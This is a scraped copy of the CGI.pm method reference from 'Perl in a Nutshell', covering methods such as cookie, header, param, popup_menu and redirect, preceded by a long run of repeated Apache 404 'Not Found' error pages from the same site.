The requested URL /e-book/oreillybookself/perl/perlnut/c08_376.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_377.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_378.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_379.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_380.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_381.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_382.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_383.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_384.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_385.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_386.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_387.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_388.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_389.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_390.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_391.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_392.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_393.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_394.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_395.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_396.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_397.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_398.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_399.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_400.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_401.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_402.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_403.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_404.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_405.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_406.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_407.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_408.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_409.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_410.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_411.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_412.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_413.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_414.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_415.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_416.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_417.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_418.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_419.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_420.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_421.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_422.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_423.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_424.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_425.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_426.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_427.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_428.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_429.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_430.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_431.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_432.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_433.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_434.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_435.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_436.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_437.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_438.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_439.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_440.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_441.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_442.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_443.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_444.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_445.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_446.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_447.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_448.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_449.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_450.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_451.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_452.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_453.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_454.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_455.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_456.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_457.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_458.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_459.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_460.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_461.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_462.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_463.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c08_464.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: accept

Perl in a Nutshell

Perl in a NutshellSearch this book

accept

 $query->accept(['content_type'])

Returns a list of media types that the browser accepts.

content_type

If specified, returns instead the browser's preference for the specified content type, between 0.0 and 1.0.

Previous: 10.7 CGI.pm Reference | Perl in a Nutshell | Next: Reference: append
10.7 CGI.pm Reference | Book Index | Reference: append


Reference: append

Perl in a Nutshell

Perl in a NutshellSearch this book

append

 $query->append(-name=>'name',-values=>'value')

Appends a value or list of values to the named parameter.

-name=>'name'

The parameter to be appended.

-values=>'value'

The value to append. Multiple values can be specified as a reference to an anonymous array.

Previous: Reference: accept | Perl in a Nutshell | Next: Reference: auth_type
Reference: accept | Book Index | Reference: auth_type


Reference: auth_type

Perl in a Nutshell

Perl in a NutshellSearch this book

auth_type

 auth_type()

Returns the authorization method.

Previous: Reference: append | Perl in a Nutshell | Next: Reference: autoEscape
Reference: append | Book Index | Reference: autoEscape


Reference: autoEscape

Perl in a Nutshell

Perl in a NutshellSearch this book

autoEscape

 $query->autoEscape(undef)

Turns off autoescaping of form elements.

Previous: Reference: auth_type | Perl in a Nutshell | Next: Reference: button
Reference: auth_type | Book Index | Reference: button


Reference: button

Perl in a Nutshell

Perl in a NutshellSearch this book

button

 print $query->button('name','function')

Generates a JavaScript button.

name

The name of the button.

function

The function to execute when the button is clicked.

Using named parameters, the syntax is:

print $query->button(-name=>'name',
                     -value=>'label',
                     -onClick=>"function");
-value=>'label'

The label to display for the button.

Previous: Reference: autoEscape | Perl in a Nutshell | Next: Reference: checkbox
Reference: autoEscape | Book Index | Reference: checkbox


Reference: checkbox

Perl in a Nutshell

Perl in a NutshellSearch this book

checkbox

 print $query->checkbox('name' [,'checked','value','label'])

Generates a single checkbox.

name

The name to assign the input to (required).

'checked'

Checkbox should be checked initially.

value

The value to return when checked (default is on).

label

The label to use for the checkbox (default is the name of the checkbox).

Using named parameters, the syntax is:

print $query->checkbox(-name=>'name',
                       -checked=>'checked',
                       -value=>'value',
                       -label=>'label',
                       -onClick=>function);

-onClick=>function

Browser should execute function when the user clicks on any checkbox in the group.

Previous: Reference: button | Perl in a Nutshell | Next: Reference: checkbox_group
Reference: button | Book Index | Reference: checkbox_group


Reference: checkbox_group

Perl in a Nutshell

Perl in a NutshellSearch this book

checkbox_group

 print $query->checkbox_group('name', \@list [, selected,'true',\%labelhash ])

Generates a list of checkbox elements.

name

The name to assign the input to (required).

\@list

An array reference with the list items. You can also use an anonymous array reference.

selected

The menu item(s) to be initially selected (default is that nothing is selected). This can be a single value or a reference to an array of values.

'true'

Insert newlines between the checkboxes.

\%labelhash

A hash reference listing labels for each list item. Default is the list text itself. See popup_menu for an example.

Using named parameters, the syntax is:

print $query->checkbox_group(-name=>'name',
                             -values=>\@list,
                             -default=>selected,
                             -linebreak=>'true',
                             -labels=>\%labelhash,
                             -columns=>n,
                             -columnheader=>'string',
                             -rows=>m,
                             -rowheader=>'string',
                             -onClick=>function);

-columns=>n

The number of columns to use.

-columnheader=>'string'

A header for the column.

-rows=m

The number of rows to use. If omitted and -columns is specified, the rows will be calculated for you.

-rowheader=>'string'

A header for the row.

-onClick=>function

Browser should execute function when the user clicks on any checkbox in the group.

Previous: Reference: checkbox | Perl in a Nutshell | Next: Reference: cookie
Reference: checkbox | Book Index | Reference: cookie


Reference: cookie

Perl in a Nutshell

Perl in a NutshellSearch this book

cookie

 $cookie=$query->cookie('name')

Defines or retrieves a cookie. See also header.

name

Name of the cookie (required).

Using named parameters, the syntax is:

$cookie = $query->cookie(-name=>'name',
                         -value=>'value',
                         -expires=>'expcode',
                         -path=>'partial_url',
                         -domain=>'domain_name',
                         -secure=>1);
print $query->header(-cookie=>$cookie);

-value=>'value'

A value to assign to the cookie. You can supply a scalar value, or a reference to an array or hash. If omitted, a cookie will be retrieved rather than defined.

-expires=>expcode

Specify an expiration timestamp (such as +3d for 3 days). Values for expcode are:

ns

n seconds

nm

n minutes

nh

n hours

nd

n days

nM

n months

nY

n years

day_of_week, dd-MMM-YY hh:mm:ss GMT

At the specified time

now

Expire immediately.

-path=>'partial_url'

The partial URL for which the cookie is valid. Default is the current URL.

-domain=>'domain_name'

The domain for which the cookie is valid.

-secure=>1

Only use this cookie for a secure session.

Previous: Reference: checkbox_group | Perl in a Nutshell | Next: Reference: defaults
Reference: checkbox_group | Book Index | Reference: defaults


Reference: defaults

Perl in a Nutshell

Perl in a NutshellSearch this book

defaults

 print $query->defaults('label')

Generates a button that resets the form to its defaults. See also reset.

'label'

The label to use for the button. If omitted, the label is "Defaults".

Previous: Reference: cookie | Perl in a Nutshell | Next: Reference: delete
Reference: cookie | Book Index | Reference: delete


Reference: delete

Perl in a Nutshell

Perl in a NutshellSearch this book

delete

 $query->delete('parameter')

Deletes a parameter.

'parameter'

The parameter to delete.

Previous: Reference: defaults | Perl in a Nutshell | Next: Reference: delete_all
Reference: defaults | Book Index | Reference: delete_all


Reference: delete_all

Perl in a Nutshell

Perl in a NutshellSearch this book

delete_all

 $query->delete_all()

Deletes the entire CGI object.

Previous: Reference: delete | Perl in a Nutshell | Next: Reference: dump
Reference: delete | Book Index | Reference: dump


Reference: dump

Perl in a Nutshell

Perl in a NutshellSearch this book

dump

 print $query->dump([true])

Dumps all name/value pairs as an HTML list.

true

If specified, print as plain text.

Previous: Reference: delete_all | Perl in a Nutshell | Next: Reference: end_html
Reference: delete_all | Book Index | Reference: end_html


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c10_013.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c10_014.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: header

Perl in a Nutshell

Perl in a NutshellSearch this book

header

 print $query->header([content_type ,status ,headers])

Generates the HTTP header for the document.

content_type

The content type to return. Default is text/html.

status

The HTTP status code and description to return. Default is 200 OK.

headers

Additional headers to include, such as Content-Length: 123.

Using named parameters, the syntax is:

print $query->header(-type=>'content_type',
                     -nph=>1,
                     -status=>'status_code',
                     -expires=>'expcode',
                     -cookie=>'cookie',
                     -target=>'frame',
                     -header=>'value');

-type=>content_type

Specify the content type.

-nph=>1

Use headers for a no-parse-header script.

-status=>status_code

Specify the status code.

-expires=>expcode

Specify an expiration timestamp (such as +3d for 3 days). Values for expcode are:

ns

n seconds

nm

n minutes

nh

n hours

nd

n days

nM

n months

nY

n years

day_of_week, dd-MMM-YY hh:mm:ss GMT

At the specified time

now

Expire immediately.

-cookie=>cookie

Specify a cookie. The cookie may be a scalar value or an array reference.

-header=>value

Specify any HTTP header.

-target=>frame

Write to specified frame.

Previous: Reference: filefield | Perl in a Nutshell | Next: Reference: hidden
Reference: filefield | Book Index | Reference: hidden


Reference: hidden

Perl in a Nutshell

Perl in a NutshellSearch this book

hidden

 print $query->hidden('name', 'value' [,'value'... ])

Generates a hidden text field.

name

The name to give the value (required).

value

The value to assign to name. Multiple values can be specified.

Using named parameters, the syntax is:

print $query->hidden(-name=>'name',
                       -default=>'value');
With named parameters, the value can also be represented as a reference to an array, such as:
print $query->hidden(-name=>'name',
                     -default=>['value1', 'value2', ...  ]);

Previous: Reference: header | Perl in a Nutshell | Next: Reference: image_button
Reference: header | Book Index | Reference: image_button


Reference: image_button

Perl in a Nutshell

Perl in a NutshellSearch this book

image_button

 print $query->image_button('name','url' [,'align'])

Generates a clickable image map.

name

The name to use. When clicked, the x,y position is returned as name.x and name.y, respectively.

url

The URL of the image for the image map.

align

The alignment type. May be TOP, BOTTOM, or MIDDLE.

Using named parameters, the syntax is:

print $query->image_button(-name=>'name',
                           -src=>'url',
                           -align=>'align',
                           -onClick=>function);
-onClick=>function

Browser should execute function when the user clicks on the image.

Previous: Reference: hidden | Perl in a Nutshell | Next: Reference: import_names
Reference: hidden | Book Index | Reference: import_names


Reference: import_names

Perl in a Nutshell

Perl in a NutshellSearch this book

import_names

 $query->import_names('package')

Creates variables in the specified package. Called import in older versions of CGI.pm.

package

The package to import names into.

Previous: Reference: image_button | Perl in a Nutshell | Next: Reference: isindex
Reference: image_button | Book Index | Reference: isindex


Reference: isindex

Perl in a Nutshell

Perl in a NutshellSearch this book

isindex

 print $query->isindex([action])

Generates an <ISINDEX> tag.

action

The URL of the index script. Default is the current URL.

Using named parameters, the syntax is:

print $query->isindex(-action=>$action);

Previous: Reference: import_names | Perl in a Nutshell | Next: Reference: keywords
Reference: import_names | Book Index | Reference: keywords


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c10_020.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: nph

Perl in a Nutshell

Perl in a NutshellSearch this book

nph

 nph(1)

Treats a CGI script as a no-parsed-header (NPH) script.

Previous: Reference: keywords | Perl in a Nutshell | Next: Reference: param
Reference: keywords | Book Index | Reference: param


Reference: param

Perl in a Nutshell

Perl in a NutshellSearch this book

param

 @name = $query->param([parameter [newvalue1, newvalue2, ...] ])

Gets or sets parameter names.

@name

The array to contain the parameter names.

parameter

An optional single parameter to fetch. When used with no arguments, param returns a list of all known parameter names.

newvalue1, newvalue2, ...

The optional new values to assign to the parameter.

Using named parameters, the syntax is:

$query->param(-name=>'parameter',
              -value=>'newvalue');
or:
$query->param(-name=>'parameter',
              -values=>'newvalue1', 'newvalue2', ...);

Previous: Reference: nph | Perl in a Nutshell | Next: Reference: password_field
Reference: nph | Book Index | Reference: password_field


Reference: password_field

Perl in a Nutshell

Perl in a NutshellSearch this book

password_field

 print $query->password_field('name' [,'value',size,maxlength ] )

Generates a password input field.

name

The name to assign the input to (required).

value

The default password to place in the password field.

size

The size of the password field (in characters).

maxlength

The maximum length of the password field (in characters).

Using named parameters, the syntax is:

print $query->password_field(-name=>'name',
                             -default=>'value',
                             -size=>size,
                             -maxlength=>maxlength,
                             -override=>1,
                             -onChange=>function,
                             -onFocus=>function,
                             -onBlur=>function,
                             -onSelect=>function);
-override=>1

Text field should not inherit its value from a previous invocation of the script.

-onChange=>function

Browser should execute function when the user changes the text field.

-onFocus=>function

Browser should execute function when the focus is on on the text field.

-onBlur=>function

Browser should execute function when the focus leaves the text field.

-onSelect=>function

Browser should execute function when the user changes a selected portion of the text field.

Previous: Reference: param | Perl in a Nutshell | Next: Reference: path_info
Reference: param | Book Index | Reference: path_info


Reference: path_info

Perl in a Nutshell

Perl in a NutshellSearch this book

path_info

 path_info()

Returns extra path information.

Previous: Reference: password_field | Perl in a Nutshell | Next: Reference: path_translated
Reference: password_field | Book Index | Reference: path_translated


Reference: path_translated

Perl in a Nutshell

Perl in a NutshellSearch this book

path_translated

 path_translated()

Returns translated extra path information.

Previous: Reference: path_info | Perl in a Nutshell | Next: Reference: popup_menu
Reference: path_info | Book Index | Reference: popup_menu


Reference: popup_menu

Perl in a Nutshell

Perl in a NutshellSearch this book

popup_menu

 print $query->popup_menu('name', \@array [,'selected', \%labelhash])

Generates a popup menu.

name

The name to assign the input to (required).

\@array

An array reference listing the menu items. You can also use an anonymous array reference (see example below).

selected

The menu item to be initially selected (default is first menu item or the item selected in previous queries).

\%labelhash

A hash reference listing labels for each menu item. Default is menu item text. For example:

%labels = ('UPS'=>'United Parcel Service (UPS)',
         'FedExO'=>'Federal Express Overnight - 10AM delivery',
         'FedExS'=>'Federal Express Standard - 2PM delivery',
         'FedEx2'=>'Federal Express 2nd Day Delivery');

print $query->popup_menu('delivery_method',
                       ['UPS', 'FedExO', 'FedExS', 'FedEx2'],
                       'FedExO',
                       \%labels);

Using named parameters, the syntax is:

print $query->popup_menu(-name=>'name',
                         -values=>\@array,
                         -default=>'selected',
                         -labels=>\%labelhash,
                         -onChange=>function,
                         -onFocus=>function,
                         -onBlur=>function);
-onChange=>function

Browser should execute function when the user changes the text field.

-onFocus=>function

Browser should execute function when the focus is on on the text field.

-onBlur=>function

Browser should execute function when the focus leaves the text field.

Previous: Reference: path_translated | Perl in a Nutshell | Next: Reference: radio_group
Reference: path_translated | Book Index | Reference: radio_group


Reference: radio_group

Perl in a Nutshell

Perl in a NutshellSearch this book

radio_group

 print $query->radio_group('name', \@list [, selected, 'true', \%label ])

Generates a set of radio buttons.

name

The name to assign the input to (required).

\@list

An array reference with the list items. You can also use an anonymous array reference.

selected

The menu item to be initially selected.

'true'

Insert newlines between radio buttons.

\%label

A hash reference listing labels for each list item. Default is the list text itself. See popup_menu for an example.

Using named parameters, the syntax is:

print $query->radio_group(-name=>'name',
                          -values=>\@list,
                          -default=>'selected',
                          -linebreak=>'true',
                          -labels=>\%labelhash,
                          -columns=>n,
                          -columnheader=>'string',
                          -rows=>m,
                          -rowheader=>'string');
-columns=>n

The number of columns to use.

-columnheader=>'string'

A header for the column.

-rows=m

The number of rows to use. If omitted and -columns is specified, the rows will be calculated for you.

-rowheader=>'string'

A header for the row.

Previous: Reference: popup_menu | Perl in a Nutshell | Next: Reference: raw_cookie
Reference: popup_menu | Book Index | Reference: raw_cookie


Reference: raw_cookie

Perl in a Nutshell

Perl in a NutshellSearch this book

raw_cookie

 raw_cookie()

Returns the value of the HTTP_COOKIE header.

Previous: Reference: radio_group | Perl in a Nutshell | Next: Reference: ReadParse
Reference: radio_group | Book Index | Reference: ReadParse


Reference: ReadParse

Perl in a Nutshell

Perl in a NutshellSearch this book

ReadParse

 ReadParse()

Creates a hash named %in containing query information. Used for backwards compatibility with the Perl4 cgi-lib.pl.

Previous: Reference: raw_cookie | Perl in a Nutshell | Next: Reference: redirect
Reference: raw_cookie | Book Index | Reference: redirect


Reference: redirect

Perl in a Nutshell

Perl in a NutshellSearch this book

redirect

 print $query->redirect('url')

Generates a header for redirecting the browser.

url

The absolute URL to redirect to.

Using named parameters, the syntax is:

print $query->redirect(-uri=>'url',
                       -nph=>1);

Previous: Reference: ReadParse | Perl in a Nutshell | Next: Reference: referer
Reference: ReadParse | Book Index | Reference: referer


Reference: referer

Perl in a Nutshell

Perl in a NutshellSearch this book

referer

 referer()

Returns the referring URL.

Previous: Reference: redirect | Perl in a Nutshell | Next: Reference: remote_host
Reference: redirect | Book Index | Reference: remote_host


Reference: remote_host

Perl in a Nutshell

Perl in a NutshellSearch this book

remote_host

 remote_host()

Returns the remote host name or IP address, depending on the configuration of the server.

Previous: Reference: referer | Perl in a Nutshell | Next: Reference: remote_user
Reference: referer | Book Index | Reference: remote_user


Reference: remote_user

Perl in a Nutshell

Perl in a NutshellSearch this book

remote_user

 remote_user()

Returns the username supplied for authorization.

Previous: Reference: remote_host | Perl in a Nutshell | Next: Reference: request_method
Reference: remote_host | Book Index | Reference: request_method


Reference: request_method

Perl in a Nutshell

Perl in a NutshellSearch this book

request_method

 request_method()

Returns the request method.

Previous: Reference: remote_user | Perl in a Nutshell | Next: Reference: reset
Reference: remote_user | Book Index | Reference: reset


Reference: reset

Perl in a Nutshell

Perl in a NutshellSearch this book

reset

 print $query->reset

Generates a button that resets the form to its initial values. See also defaults.

Previous: Reference: request_method | Perl in a Nutshell | Next: Reference: save
Reference: request_method | Book Index | Reference: save


Reference: save

Perl in a Nutshell

Perl in a NutshellSearch this book

save

 $query->save(filehandle)

Saves the form to the specified filehandle, to be read back with the new constructor.

filehandle

The filehandle to save the file to.

Previous: Reference: reset | Perl in a Nutshell | Next: Reference: script_name
Reference: reset | Book Index | Reference: script_name


Reference: script_name

Perl in a Nutshell

Perl in a NutshellSearch this book

script_name

 script_name()

Returns the current partial URL.

Previous: Reference: save | Perl in a Nutshell | Next: Reference: scrolling_list
Reference: save | Book Index | Reference: scrolling_list


Reference: scrolling_list

Perl in a Nutshell

Perl in a NutshellSearch this book

scrolling_list

 print
$query->scrolling_list('name',\@list[,selected,size,'true',\%labelhash]);

Generates a scrolling list.

name

The name to assign the input to (required).

\@list

An array reference with the list items. You can also use an anonymous array reference.

selected

The menu item(s) to be initially selected (default is that nothing is selected). This can be a single value or a reference to a list of values.

size

The number of elements to display in the list box.

'true'

Allow multiple selections.

\%labelhash

